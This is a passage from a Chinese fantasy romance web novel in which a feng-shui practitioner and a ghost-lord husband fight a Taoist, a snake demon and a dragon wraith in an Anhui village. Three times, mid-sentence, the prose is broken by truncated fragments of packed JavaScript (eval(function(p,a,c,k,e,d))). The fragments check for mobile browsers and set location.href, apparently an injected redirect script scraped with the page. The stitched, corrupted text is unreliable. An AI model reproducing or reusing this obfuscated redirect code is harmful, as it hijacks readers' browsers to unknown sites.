“这我哪知道。”林知夏松手退开半步,指腹无意识摩挲着仍在发烫的墨玉戒,“但沈氏被炼成人烛时,她腕上的鎏金锁链在发光。” 说着快步回到矮桌前,想看看《春庭夜宴图》有没有什么变化。 然后就看到画卷边缘的焦痕又多了几道,而幽冥火烧灼处,原本模糊的亭台纹路竟然显出了山川走势,她有些惊讶,“鬼君认识这是哪里吗?” 晏清广袖轻挥,残存的幽冥火在空中凝成沙盘。星罗棋布的山川河流间,某处山谷突然亮起微光,“皖南屏山。” 10. 古画妖(三) 皖南的雨来得急,青石板路腾起的水雾里裹着艾草燃烧的苦香。林知夏撑着伞站在村口石牌坊下,望着斑驳的“屏山毓秀”四个雕刻大字,耳畔传来导游喇叭里声情并茂的解说:“这座明代贞节牌坊距今已有四百二十年历史,传说每逢雷雨夜,牌坊下的石兽都会为那些守节的女子流出哀泣的眼泪……” “信口胡诌。”晏清嗤之以鼻,玄色锦袍下摆扫过林知夏的脚踝,幽冥火凝成的伞骨在雨幕中泛着幽蓝微光,他说,“牌坊下镇着此处三阴交汇的水眼,石兽流泪分明是地气外泄之故,与那些女子何干!” 林知夏小声说,“但凡是旅游景点总要有些卖点来吸引游客,要么是凄美的爱情故事,要么是奇闻异事鬼神怪谈,反正得有个噱头,得让人愿意来这里消费,要不谁闲的没事跑这么偏远的地方看一座孤零零的石牌,这不花钱找罪受吗!” 宴清挑眉,“花钱找罪……比如你?” 林知夏:“我这是做好事行善积德……咦?”指尖拂过石兽开裂的眼眶,上面果然有一层黏腻的苔藓,地气就是从这个位置外泄出来的。 取出罗盘,磁针正正好停在坎位轻轻颤动,针尾凝出的水珠顺着铜面滑落,在青苔上洇出个残缺的八卦图形。 “找到了。”林知夏冲一直隐匿着身形的宴清扬扬下巴,“沈氏记忆里的鎏金锁链,应该就镇在牌坊底下。” 宴清:“之前就说在下面,你偏不信。” 林知夏:“没有不信啊,来都来了,我只是想踩个点儿确认下准确方位,小心无大错嘛。” 鬼君:“呵。” 林知夏冲他讨好的笑笑,“这里是景点,白天人来人往的咱们现在也没法行动,要不等晚上再来?” 宴清不置可否。 她是排在最后面摸的石兽,其他游客这会儿已经被导游引着去那边看石牌的雕花工艺了,一人一鬼踩好点也没别的事,索性追上旅行团继续瞎转悠打发时间。 虽然场地不大,但这边开发的也还可以,村里的房子建得都挺古色古香的,主道路上商铺林立,林知夏买了点小零食,还花三十块买了个做工挺好的傩戏面具。 屏山村的石牌实在算不上什么大景点,到下午旅行团就撤了,转战别的景点。 林知夏是临时加进来的游客,只出了这一个地儿的导游费,人家一走,她就自己留下了。 村子不留客,就在镇子民宿开了间房。 洗了澡换了衣裳,吃过饭又休息了一会儿,到夜里十一点多,宴清脚踏幽冥火,揽着她轻松从镇上回到贞节牌坊这里。 有结界在,又下着大雨,不用担心被人发现,一人一鬼这会儿倒是比白天时要随意自在很多。林知夏想速战速决,刚想开始布阵,一阵诡异的唢呐声很突兀的从远处传来,这大半夜的,可不得把人吓一跳嘛! 林知夏就吓得打了个激灵,顾不上吐槽,就被宴清重新揽进怀里跃上檐角。 站在高处,远远的看到两列火把正由远及近的快速朝这边走来。 再近一些,可以清楚看到十二个戴着傩戏面具的壮汉抬着个竹轿踏雨而来,轿上女子凤冠霞帔,腕间金镯随着颠簸发出细碎声响。 林知夏瞳孔骤缩—— 那新娘盖头下隐约露出的素白裙裾,竟然跟画中沈氏的衣着如出一辙! 雨丝穿不透幽冥火凝成的结界。 林知夏看着送亲队伍在牌坊前停驻,戴鬼王面具的司仪将三根槐木钉钉入轿底,她想起什么,小声说,“我查到的家族手札上关于皖南的记载有这么一段:皖南有村,婚轿过牌坊需钉三魂,此谓……” “锁阴亲。”晏清接住她未尽的话,"新娘是活人。" 林知夏蹙眉,活人结阴亲,是奔着送死去的,和她跟宴清的缔结婚姻可不同。 娇子上的女孩子明显不对劲,任由旁人将一截锁链缠上脚踝都没反应的。而且那锁链颜色要比真正的锁链更浅些,一看就是新铸的仿品。 送亲队伍中这时走出个穿藏青色道袍的老者,他手中铜铃每摇三下,牌坊石兽眼中就会淌出一股暗红液体。 林知夏的罗盘疯狂旋转,磁针死死钉在了“坤”位。 “地脉在移位。”晏清揽着她径自飘向村子的宗祠,“有人要借阴婚改风水局。” “所以这阴婚不是每年都有,”这让林知夏不得不多想,“怎么这么巧,让咱们赶上了?”她有点不放心,“不会是针对咱们的阴谋吧?” 宴清轻笑一声,“天地有灵,善恶终有报,娘子怎知这非天意?” 林知夏:“……”感觉更吓人了怎么办? 屏山村的宗祠前,百年香樟树挂满红绸,每根绸带都系着枚生锈的铜钱。林知夏躲在幽冥火凝成的结界里,看着送亲队伍冒雨径自进到祠堂,那个穿道袍的老者将新娘牵到供桌前,供桌上除却三牲祭品,还摆着个雕满符咒的木匣子。 “开匣——” 随着老者拖长的尾音,祠堂梁柱突然落下七盏白灯笼。烛火映出匣中物件的瞬间,林知夏呼吸一滞——是鎏金锁链!那截锁链静静躺在红绸之上,链身镶嵌的七枚玉璧照着北斗七星排列,天枢位的玉璧明显缺了一个角。 “这锁链哪来的?”她明明探到沈氏的那截锁链被压在石牌下,不可能搞错。 “不对劲。”林知夏压低声音,指尖在晏清掌心快速划动,片刻,笃定说,“石牌坊下的地气未破,这锁链不应该出现在这里。” 晏清倒是镇定自若,提醒说,“娘子且看那老道。” 穿藏青道袍的老者正将三炷香插入青铜鼎,香灰簌簌落在供桌的八卦镜上。镜面倒映出的却不是祠堂景象,而是博物馆那幅《春庭夜宴图》! 林知夏突然觉得颈后发凉,首先关心,“那画是假的,不会被发现吧?”真迹被幽冥火封印了起来,画上还布了阵法,她是不担心的,也不怕下面的老者发现画有问题,唯一担心的是老者施术会让博物馆的人发现端倪。 那麻烦可就大了! 宴清笑笑,“放心,为夫的手段不至于如此拙劣。” 林知夏看着他,慎重点头,“我信你!”顿了顿,“那老头燃的香是不是有问题?” 宴清:“应是引魂香。”他一副了然于胸的模样,“他们想用活人新娘做媒介,将画灵引到这里。” 仿佛附和般,供桌上的鎏金锁链突然发出刺耳的铮鸣。新娘盖头无风自动的掀开一角,,露出一张与沈氏有几分相似的脸。 “四百年前沈氏被炼成人烛,四百年后这些人竟然还在用同样的邪术!”林知夏有些生气,她活了二十年,遇到的坏人坏事加起来都没这些天遇到的糟心! 墨玉戒在此时毫无预兆地发烫,烫得她险些叫出声。晏清及时握住她的手,幽冥火顺着经络游走,在两人相贴的掌心凝成细小的龙纹。 正上香念咒的老者这时突兀的转身看向他们藏身的方向。 林知夏心头一跳,那浑浊的眼球分明是重瞳! “贵客既至,何不现身?”老者沙哑的嗓音混着雨声传来,手中铜铃猛地摇响。十二个傩面壮汉齐刷刷转头,面具下的这些眼睛纷纷泛着不正常的青灰色。 林知夏有点慌,晏清却轻笑一声,揽着她飘然落地。幽冥火凝成的伞面将雨水蒸腾成雾气,在他与她周身形成朦胧的光晕。老者瞳孔骤缩,手中铜铃“当啷”坠地:“鬼、鬼君……” 在冥界,能称鬼君者,实力皆为鬼王之上。 “倒是有些眼力。”晏清广袖轻挥,供桌上的八卦镜应声碎裂。新娘开始剧烈颤抖起来,盖头下传出压抑的呜咽声,腕间金镯碰撞出细碎声响。 林知夏趁机甩出五帝钱,铜钱精准嵌入祠堂四角的镇魂钉。地面突然震动,百年香樟树的红绸无风自动,系着的铜钱纷纷炸裂成齑粉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237040|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “放肆!”老者回神厉喝,重瞳中迸出诡异血光。他咬破舌尖喷出口血雾,血珠在空中凝成符咒压向林知夏。晏清冷哼一声,幽冥火化作青龙腾空而起,瞬间将血符烧成灰烬。 趁这空当,林知夏闪身来到新娘身侧。指尖刚触到盖头,鎏金锁链突然暴起缠向她手腕。千钧一发之际,晏清并指斩断锁链,玄色衣袖卷着她后退三步,神情难得有些肃穆,“这锁链里封印着龙血!” 被斩断的锁链断面随着他的话音开始渗出暗金液体,液体落地,竟将青石板腐蚀出蜂窝状的孔洞。林知夏后背发凉,这要是沾到皮肤……不得烫出窟窿啊! “屏山村的水眼连着锁龙井!”晏清鎏金瞳孔泛起血色,幽冥火在他掌心凝成长剑,“看来当年抽我龙筋的那帮人,在此处留了后手。” 林知夏闻言心头一颤。 她突然觉得,冥冥之中似有一双看不见的手在推着她和他前进,只是帮画灵解决怨气而已,竟然也会和宴清的过去扯上关联。 想起宴清刚刚说的,天地有灵……真的是天意吗? 供桌上的鎏金锁链这时腾空而起,七枚玉璧依次亮起,在空中结成陌生阵法。 “北斗困龙阵。” 听到宴清的话,林知夏当机立断直接甩出罗盘,“快退!” 黄铜磁针撞上天枢位的玉璧,本该是虚影的阵法突然实体化,幽冥火凝成的长剑竟被生生震碎。晏清闷哼一声,唇角溢出暗金血痕。 一切都发生在电光火石之间。 “晏清!”林知夏慌忙扶住他,指尖触到一片冰凉,他的身体比平时更冷,仿佛连幽冥火都要冻结。 老者发出夜枭般的笑声:“没想到钓到条大鱼!鬼君又如何?这困龙阵专克你们这些……” 话音戛然而止。 林知夏不知何时竟瞬移到了他身后,掺着沉香的朱砂符箓正正贴在他的后心。她咬破舌尖,一口心头血喷在符上:“天地玄宗,万炁本根——破!” 立时,金光暴涨。 老者发出凄厉惨叫,从他那双诡异重瞳中流出了股股黑血! 没等林知夏松口气,藏青道袍突然鼓胀如球,一条碗口粗的蛇竟然从老者领口钻出。 那蛇头顶生着肉瘤,分明是已经修炼成精的妖物! 晏清抬手欲召幽冥火,却被困龙阵压制得动弹不得。林知夏见状,反手抽出随身携带的桃木剑,剑身抹过掌心鲜血,迎着蛇妖七寸刺去。 “铛”的一声,桃木剑被蛇尾扫断。林知夏踉跄后退,后背撞上香樟树,退无可退。 腥风扑面而来,一排符咒横扫出去,林知夏正要接着布阵,指间墨玉戒突然化为青龙,长尾横扫,竟从香樟树内硬生生掏出半截生锈的铡刀! 刀落入林知夏手中,青龙似耗尽最后一丝气力消散于空中。 来不及多想,林知夏抡起铡刀劈向已快至面门的蛇头。锈迹斑斑的刀刃在触及肉瘤的瞬间迸发青光,竟如切豆腐般将蛇妖斩成两段! 腥臭的血雨瓢泼而下,林知夏抹了把脸,发现手中铡刀上刻着模糊的篆书——屠龙刃。 困龙阵随着蛇妖死亡开始崩塌。晏清周身幽冥火重燃,供桌上的鎏金锁链寸寸断裂,新娘脚踝上的仿品也随之化为齑粉。 林知夏喘着气靠在香樟树上,看着晏清一步步走来。他玄色锦袍被烧焦一角,银色长发却依旧纤尘不染。鎏金瞳孔映着她狼狈的模样,忽然伸手抚上她颈侧——那里多了几道血痕。 “疼吗?”他指尖凝着幽冥火,轻轻拂过伤口。冰凉触感激得林知夏瑟缩一下,却摇头:“小伤而已,倒是你……”她迟疑着伸手,指尖虚虚点在他心口,“你的伤……没事吧?” 谁能想到一截锁链竟然能自成阵法! 太坑了! “无碍。”晏清握住她的手按在自己胸膛,“若是不放心,娘子不妨亲自查验?” 11. 古画妖(完) 掌心下传来细微震动,林知夏怔了怔才意识到那是心跳。鬼能修出实体已经是逆天而行,他连心跳都模拟得这般真实…… 指尖无意识蜷了蜷,隔着衣料都能感受到紧实的肌理。 “看来娘子很满意。”晏清低笑,气息拂过她耳尖,说不出的旖旎暧昧。 林知夏有些无奈的看他一眼,握着屠龙刃的手还在微微发颤,锈迹斑斑的刀锋血珠如断了线似的滴滴垂落,在地面积水中晕开暗金涟漪。 “这刀……” “沾过为夫的血。”宴清云淡风轻,袖摆扫过刀身,幽冥火裹挟着腥臭血气蒸腾而起,片刻,刃口处浮现出细密裂纹。 那些暗金色纹路好似龙鳞,栩栩如生。 林知夏倏地抬头,直直撞进他深邃的鎏金瞳孔。那里翻涌着她看不懂的情绪,像是经年累月的风雪,又像是地府忘川的暗流。 “那年,他们就是用这样的屠龙刃……”他握着她的手,将刀刃抵在自己心口,“剖开这里,取走了龙心。” 林知夏攥着刀柄的手猛的一紧。 “很疼吧?”话出口才觉得自己说了句傻话。 怎么可能不疼? 她不敢想象那是怎样的酷刑,更不敢深究为何他还能用这般云淡风轻的语气说出来。 晏清却笑了,他退后半步,幽冥火将满地狼藉烧成灰烬:“都过去了。” 他说都过去了。 林知夏却知道根本过不去。 当年的仇与怨,恨与痛,抽筋剥皮,分尸取心,他历经千难险阻,终于化蛟成龙,本该翱翔九州成为世间至尊至贵神明般的存在,却在化龙最虚弱时被人类算计,落得个尸骨无存被镇压的下场。 这事搁谁身上都不可能翻篇。 除非是圣母。 鬼君宴清显而易见没有圣母圣父的心肠。 林知夏有时会想,等她帮他重塑肉·身后,他会怎么对她? 是杀了还是杀了? 应该会杀了吧。 毕竟她是林家人,流着林家血,是林家先祖联合其他风水师害他丢了性命,他的骄傲,他的尊严,他滔天的恨总要有人成为发泄口。 现在,他对她很好,迁就她,保护她,甚至有些宠爱她,鬼君曾说林家的债不该她来偿,可林知夏却想,她不偿,难道让三叔公口中那个至今不知道躲在哪里的林家血脉偿吗? 好像……也不是不可以?! 啊啊啊啊,她都在想什么啊!!! 一只手从她手中取走了屠龙刃,刀柄脱离的瞬间,林知夏倏地回神,宴清弹了下她脑门,“此刀邪性,娘子差点就遭了反噬。” 林知夏愣了一下才反应过来怎么回事,她尚未从情绪中抽离,但确实感觉心胸一下子开阔了许多,刚刚产生的悲观邪恶想法虽然还有,影响却在逐渐褪去。 所以说她根本没有那么邪恶,都是这把刀的锅! 嗯,必须是这把刀的锅! 想起刚刚墨玉戒化龙的情景,林知夏忙问““青龙刚刚好像透支了力量,它没事吧?” 宴清:“无碍,修养两天就恢复了。” 林知夏放下心,终于有精力关注其他的。 雨还在下,老者自食恶果已经魂飞魄散。新娘没了知觉,躺在祠堂地砖上人事不知。 那些傩者都不是活人,已经被幽冥火烧成了渣渣。 两列举火把的送亲人之前是被老者控制,现在老者死了,他们应该很快会恢复过来。 林知夏有些担心新娘子,想过去瞧瞧,结果脚刚迈出去,直接一个踉跄,要不是宴清接的及时,估计就要给鬼君行大礼了。 宴清:“娘子身子尚虚,原就没有恢复如初,方才那口心头血,雪上加霜呢。” 林知夏:“……”好极了! 刚要开口,供桌上的木匣突然炸开。刚刚残存的七枚玉璧飞旋升空,只是眨眼的功夫,竟然就将破碎的鎏金锁链重新拼接成了完整一条。 地脉深处同时传来龙吟般的震颤,石牌坊方向骤然亮起冲天青光。 林知夏整个人都懵了,这怎么还带回旋镖的!她吓得直接抓住宴清的手就要跑,“快快,小心困龙阵!” 宴清安抚的拍拍她的背,“莫怕,困龙阵已破,这般动静,应是屏山村的锁龙井要现世了。”说话间,广袖翻卷,幽冥火立时凝成了一辆马车出来。 林知夏:“……”幽冥火真的好高级啊,想要! *** 车轮压过青石板,路边的排水沟里涌出大量暗红液体。那些本该被牌坊镇住的地气,此刻正如蛛网般顺着地脉裂隙向石牌聚集。 一人一鬼从幽冥马车中下来,林知夏清楚看到牌坊下的石兽已经完全裂开,露出个丈许宽的深坑。坑底青铜锁链交错如网,正中央悬着半截小臂长的焦黑骨头,而骨头的中间位置则插着柄锈迹斑斑的断刃。 林知夏认出,那应该是屠龙刃的另一半。 她还没搞清状况,宴清似乎已经了然于胸。 “原来如此。”他鎏金瞳孔倒映着青光,“当年他们用这柄刀分尸化龙,却将一截龙骨镇在此处养风水。” 龙骨? 啊! 对! 能被屠龙刃牢牢钉在那里的,也只能是龙骨! 忽的想起什么,她转头望向祠堂方向:“所以那个老道士供奉的鎏金锁链……” “是困龙阵的阵眼。”晏清并指划开虚空,幽冥火化作流萤钻入深坑,“娘子可还记得沈氏裙下的锁链?” 林知夏心说咱俩来不就为了它嘛。 虽然这样想,但面上很乖巧的点头,“记得的。” 然而宴清却不再说话了。 林知夏:“……” 雨水在此时变得粘稠起来。 望着悬浮在坑洞上方的气旋,林知夏鼻尖忽然闻到淡淡的松脂味——她记性很好,这味道跟寒梧殿炼人烛时燃烧的气味简直如出一辙! 正想和宴清分享这个发现,墨玉戒却在这时毫无预兆地发烫,并蒂莲纹顺着血脉游走到心口,林知夏眼前被迫浮现出沈氏被锁在梧桐树下的画面,就像被人按头去发现细节。 然后林知夏就发现,沈氏的那截鎏金锁链的纹路,可不就和坑底的青铜锁链完美契合! 所以,它们本就是一体的! 而她和宴清要找的那截鎏金锁链,应该就在这些青铜锁链之中? 刚想到这里,深坑中数十条青铜锁链仿佛有了生命般朝他们一股脑攻了过来!晏清揽着她腾空跃上牌坊高处,幽冥火化作青龙缠住袭来的锁链,金银光芒碰撞间,林知夏看见坑底的龙骨正在以肉眼可见的速度生长出血肉。 长出了血肉?! 这怎么可能?! 林知夏人都麻了,她在宴清怀里大胆猜测,“他们是想复活这条龙?”手中甩出五帝钱击退侧面袭来的锁链,又自己推翻自己,“也不对!这龙尸明明……” “是龙怨。”晏清袖摆扫落飞溅的青铜碎片,“怨气借北斗阵化形,倒是比此处锁龙井棘手些。” 林知夏心说何止是棘手,简直是抓马好吗! 怎么跟闯关似的,一关还比一关难! 几句话的功夫,深坑中已然探出一只覆满青鳞的利爪。刚刚被宴清重新塞回来的屠龙刃开始剧烈震颤,林知夏一个没抓稳,竟然被它脱手径自飞向了龙爪方向! 千钧一发之际,晏清并指斩断幽冥火凝成的发带,银发如瀑垂落腰间,发梢卷住刀柄将其拽了回来。 “接着!”他将屠龙刃抛回给林知夏,玄色锦袍在狂风中猎猎作响,“莫让它乱砍,需砍其逆鳞。” 说实话,在这种至关重要的时候,林知夏有点想采访鬼君大人的感受。 虽然是龙怨所化,但这龙确实应该与他的本体一模一样,自己打自己,可还行? 但林知夏到底没那么缺德,她选择闭嘴。紧握刀柄的手沁出汗来,之前的缠斗还没恢复多少,现在又要卖力干架,压力真的好大。 龙吟震得她耳膜生疼,腾空的青龙与幽冥火缠斗时掀起的罡风,将方圆十丈的雨幕都撕成碎片。她眯着眼在漫天青光中寻找破绽,忽然瞥见龙颈处有块暗色斑痕。 就是现在! 足尖点在周边枝桠借力跃起,林知夏借着下坠之势挥刀劈向逆鳞。屠龙刃触及龙鳞的瞬间,整条手臂都被震得发麻。她咬破舌尖将血喷在刀身,暗青纹路骤然亮如星斗。 “吼——” 凄厉的龙吟响彻云霄。 幽冥火抓住破绽立时钻入鳞片缝隙,顺着经络烧遍龙尸全身。林知夏被气浪掀飞出去,后背撞上牌坊石柱的刹那,腰间突然多出条玄色绸带。 晏清揽着她飘然落地,指尖拂过她虎口裂开的伤口:“娘子这不要命的打法,倒是颇有为夫当年的风范。” “承让承让。”林知夏感觉自己人都快废了,喘着气指向正在消散的龙影,“你看那些怨气。” 焦黑的龙骨落入宴清手中,青铜锁链寸寸断裂。北斗七星阵化作流光坠向祠堂方向,却在半途被突然出现的《春庭夜宴图》截住。画卷在雨中猎猎展开,沈氏的素白裙裾自绢帛中飘然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237041|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。 “她要吞噬龙怨!”林知夏甩出罗盘想要阻拦,却被晏清按住手腕,“由她去。” 沈氏的虚影在接触到流光的瞬间凝实。数百年的怨气注入魂体,竟让她脚踝上的鎏金锁链浮现出北斗纹路! 晏清指尖凝出幽冥火莲花,“娘子猜猜,这沈氏是想报仇,还是……” 话未说完,沈氏突然挥袖扫向石牌坊,贞节牌坊轰然崩塌。烟尘散尽时,露出下方被铁链缠绕的青铜匣。 “这里面才是真正的锁魂链?”林知夏望着匣面熟悉的北斗纹路,大脑运转的那叫一个快,“所以祠堂那个是赝品?” 赝品都那么牛逼的吗? “赝品怎会自成阵法。”宴清神色淡淡,“半真半假罢了。” 沈氏的虚影飘至青铜匣前。素手抚过匣面咒文时,整座屏山村的地脉都开始震颤。林知夏的罗盘突然脱手飞出,磁针钉在“坎”位疯狂旋转,针尾凝出的水珠竟在半空拼出个“沈”字。 “她要重写命格!”林知夏想起寒梧殿的幻境,“当年那些道士用九十九个宫女为她陪葬,她是为了那些……宫女?” 沈氏突然转身看向她,帷帽下的朱唇轻启:“姑娘可愿与我做个交易?” *** 雨不知何时停了。林知夏盘膝坐在香樟树下,面前摆着从青铜匣取出的鎏金锁链。沈氏的魂魄寄居在锁链天枢位的玉璧中,正通过幽冥火凝成的符咒与她对话。 “……当年我死后,太妃忌惮我腹中未出世的龙种,请天师府用困龙阵的余料铸了这锁魂链。”沈氏的声音混着玉璧轻响,“……他们抽我魂灵入画时,悄悄藏了半截龙怨在其中。” 林知夏摩挲着锁链上的凹痕,“所以你故意在博物馆制造异象,其实是想引玄门中人前来?” “不错。”玉璧泛起微光,“这四百年间,我试过十七次,可惜来的不是利欲熏心之徒,便是道行浅薄之辈。” 晏清倚在树梢轻笑,“所以这次特意挑了农历七月半闹事?” “鬼门关开时阴气最盛。”沈氏坦然道,“我算到今年会有身负龙气的玄门女子出现——”顿了顿,“林姑娘可知,你指间那枚墨玉戒,正是当年天师府炼化龙心的容器?我虽不知它为何物所铸,却知其甚是厉害。” 林知夏下意识攥紧左手,心说它当然厉害,因为是龙身上独一无二的逆鳞啊逆鳞! 并蒂莲纹在皮肤下若隐若现,仿佛回应着锁链中的龙怨。 “我要你用屠龙刃斩断锁魂链。”沈氏的语气突然急切,“作为交换,我可以告诉你另一枚龙骨所在!” 疾风骤起。 晏清瞬移至林知夏身侧,幽冥火凝成的长剑抵住玉璧:“本君最讨厌被人算计。” “但您需要这个消息不是吗?”沈氏不慌不忙,“黄河古道第三道弯,铁牛腹中藏着您三分之一的魂灵,若没有龙怨指引,没有足够的龙骨做依托,就算翻遍大江南北也寻不到。” 林知夏按住晏清执剑的手,“她说的是真是假?” 晏清沉默片刻,收剑入袖:“娘子不妨问问你林家罗盘。” 黄铜磁针应声而动。 林知夏看着指向正北的针尖,想起在大学人工湖找到的那截龙骨——当时罗盘的异动,与此刻如出一辙。 “我答应你。”林知夏甚至不觉得这需要交易,她举起屠龙刃,利落挥下。 刀锋触及锁链的瞬间,玉璧中的沈氏突然露出解脱般的微笑。四百年的怨气顺着刀刃倒卷而来,林知夏眼前浮现出走马灯般的记忆残片—— 永乐十七年,沈采女疑私通侍卫被赐死。 沈氏含冤而忘,魂魄被天师府所擒,抽魂入画…… 鎏金锁链应声而断,沈氏的魂魄化作流光没入《春庭夜宴图》。 画卷无风自动地展开在供桌上。原先被锁在廊柱阴影处的女子走出帷帽,众多侍女捧着瓜果穿梭回廊,朱红宫墙化作青瓦白墙的皖南民居。 “这才是《春庭夜宴图》的真貌。”林知夏抚过不再阴冷的绢帛,“沈姑娘终于自由了。” 晏清突然握住她的手腕:“娘子不妨再看仔细些。” 顺着他的目光望去,画中女子裙摆下的鎏金锁链已化为溪水,溪畔坐着个垂钓的老翁。林知夏的罗盘突然发出清越嗡鸣——那老翁的斗笠上,赫然刻着黄河古道的星象图! “沈氏倒是送了份大礼。”晏清弹指将画卷收起,“三日后的丑时,黄河第三道弯会有龙气现世。” “这么快?”林知夏查看手机日历,“那天正好是山神祭啊……” 12. 山神娶亲(一) 这一晚惊心动魄。 林知夏和宴清尽量做了善后。 地气上涌时他们及时布下了结界,所以动静虽然有点大,却没有引来周围村镇的注意。 屏山村的村民在此之前已经被老道下了咒人事不知,倒是给林知夏和宴清省了不少事。 至于昏迷的新娘小姐姐,林知夏从沈氏那里得知这女孩儿应该是她哥哥那边的后人,小姑娘也是倒霉,她是家里这一辈唯一的女孩儿,可不就被坏人盯上差点成了炮灰。对于她的善后,林知夏本着有需要找帽子叔叔的传统美德,动手给小姐姐换了身普通衣裳,把她放到镇上的派出所门口就不管了。 而那些被控制的送亲人醒了应该记不住什么,同样不需要她多加干涉。 至于倒下的石牌坊和突兀出现的地洞以及地洞下的青铜锁链……锁链直接烧成渣,阵法和可疑的东西全毁掉,地洞、倒塌的石牌坊……说因为下雨土质疏松导致地陷也行,说地震被震倒也可以,反正就是很突兀的倒了,很突兀的有了个地洞,这都不是人为可以做到的事,林知夏完全不担心会引火烧身。 赶在天亮前,一人一鬼回到了民宿酒店。 林知夏今晚上真的是伤筋动骨消耗有点大,勉强洗了个澡就躺床上不动了。 身体很累,大脑却有股莫名的兴奋让她睡不着。想沈氏,想那条龙怨凝成的青龙,想刚刚发生的事,想已经魂飞魄散的老道士。 她对那个老道的身份其实有些在意,不是因为他多厉害,主要是他知道的未免有点多。 既知道沈氏的存在,也清楚《春庭夜宴图》,甚至还豢养了一只成了精的蛇妖!还有一条可以自成简易版困龙阵的鎏金锁链。 是的,简易版。 宴清说若是真正的困龙阵,十个林知夏也搞不定。林知夏听后倒是接受良好,本来就是啊,要是困龙阵就那水平,当年那些天师最多能暂时困住他,想杀了他那是万万不可能的。 鬼君宴清哪可能那么脆皮,他是龙啊,再虚弱,也是龙! 前后一串联,这一切的一切都表明老头身份可能不一般!这让林知夏不得不阴谋论,想他做这一切的目的究竟是什么,真的是借阴亲改变哪里的风水? 可大费周章改风水,惠利者众,这老头也不像舍己为人的啊? 林知夏坚信事出必有因,无利不起早! 这里面应该还有真相没有被她发现。 可惜老道自食恶果死得太彻底,要不高低要拘住魂拷问一番。 正想得入神,手腕上突然多了个凉滋滋的东西。 林知夏看看宴清,又看看手腕上似玉非玉,似银非银,剔透漂亮,鳞片栩栩如生的手镯…… “这是……?” 宴清:“为夫用那截龙骨新炼的首饰,娘子可喜欢?” 林知夏默了片刻,委婉表示:“此物珍贵,鬼君之前已经送我一个龙骨簪,这个手镯还是鬼君自己保管吧。” 宴清挑眉,“娘子是嫌弃为夫的骨头?” 林知夏心说我哪敢啊!况且这可是龙骨,宝贝!世间至坚至硬之物!多少玄门中人做梦都不敢肖想的存在! 她可不是山猪吃不了细糠。 主要觉得不合适,有负担。 对当年的事知道的越多,越能深刻感触到宴清的遭遇有多刻骨,心里对他的歉疚也就越沉重。 身为林家人,哪有脸要他的骨! 可这些话她又说不出口,说出来跟揭人伤疤似的。 就……很矛盾。 见她犹豫,宴清直接跳过要不要的环节,指尖抚过白嫩漂亮的耳骨,慢声道,“下次找到龙骨,为夫给娘子炼化一对耳坠。” 林知夏:“……那多不好意思。” “你我夫妻,何须生分。”他语气散漫,手指顺着她耳骨滑到纤细脖颈,继续往下,停在肩背的位置。宴清俯身凑近,冰凉气息喷在肌肤上泛起细密的小疙瘩,“此处龙纹多了一些。” 关于这个,刚刚洗澡的时候林知夏就注意到了,说实话,不难看,撒上金粉银粉,换身衣裳,就能被人说敬业拔高主题cosplay个美人鱼什么的。 她也不挣扎,由着他在自己肩胛骨那里摸来摸去,她倒是没觉得被冒犯,上衣领口本来就宽松,大夏天的被他看一看肩颈皮肤也没什么,前两天针灸时,她还几乎裸背呢! 反正只要不是太太太过分,林知夏表示她都可以忍。 宴清手指在多出的龙纹处流连的抚摸了两下,就矜持的抽离,“此次损耗过大,今晚需再帮你行针。” 想到行针时那种难以言喻的痛,林知夏小脸白了白。 宴清跟逗猫似的挠了挠她下巴,那张惊为天人的俊脸露出一抹名为幸灾乐祸的浅笑,“俗话说长痛不如短痛,娘子要听话,为夫也是为了娘子的身体着想。” 林知夏:“……” “说起来,娘子刚刚在想什么这么入神?” 这倒没什么可隐瞒的,他问了,她就老实说了。 宴清:“娘子莫非忘了那蛇妖?” 林知夏:“?” 宴清:“此处借龙骨蕴养风水数百年,娘子莫要觉得此地非人杰地灵之处。要知锁龙井设在此处,必与此地抢夺生息灵气,若无龙骨,这里早成寸草不生之地,而今方圆数百里百姓安居乐业,就该知为夫的龙骨有多宝贵。” 林知夏对于他这种自夸行为一点不觉得言过其实,嗯嗯点头,想了想说,“鬼君的意思是……那老道想借这里蕴养数百年的灵气给他养的那条蛇妖提升下level,咳,等级,提升下等级?” 宴清自矜的嗯一声,“畜生若想生出灵智,亿万万生灵难出其一,想要成妖,更是非大气运者不能成。我观那蛇妖虽未修出人身,却也有些道行,它想借此处龙骨蕴养之气修行添补己身再正常没有。蛇妖少说也应活了有数百年,知道些秘辛也是应该。此次应是它积攒了些实力,方与那老道达成交易,如此才有此次之行。” 林知夏:“沈氏……” 宴清:“娘子以为龙骨养出的灵气是那般轻易可夺取的?若我没猜错,沈氏的鎏金锁链当年应被一分为二,其一镇在此地气脉之处压制龙骨,其二则被炼为法器供天师驱使。老道与蛇妖想窃取此地灵气,鎏金锁链同气连枝,阴阳相吸,届时合二为一,灵气自然唾手可得。而要达成此目的,沈氏不可或缺,若她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 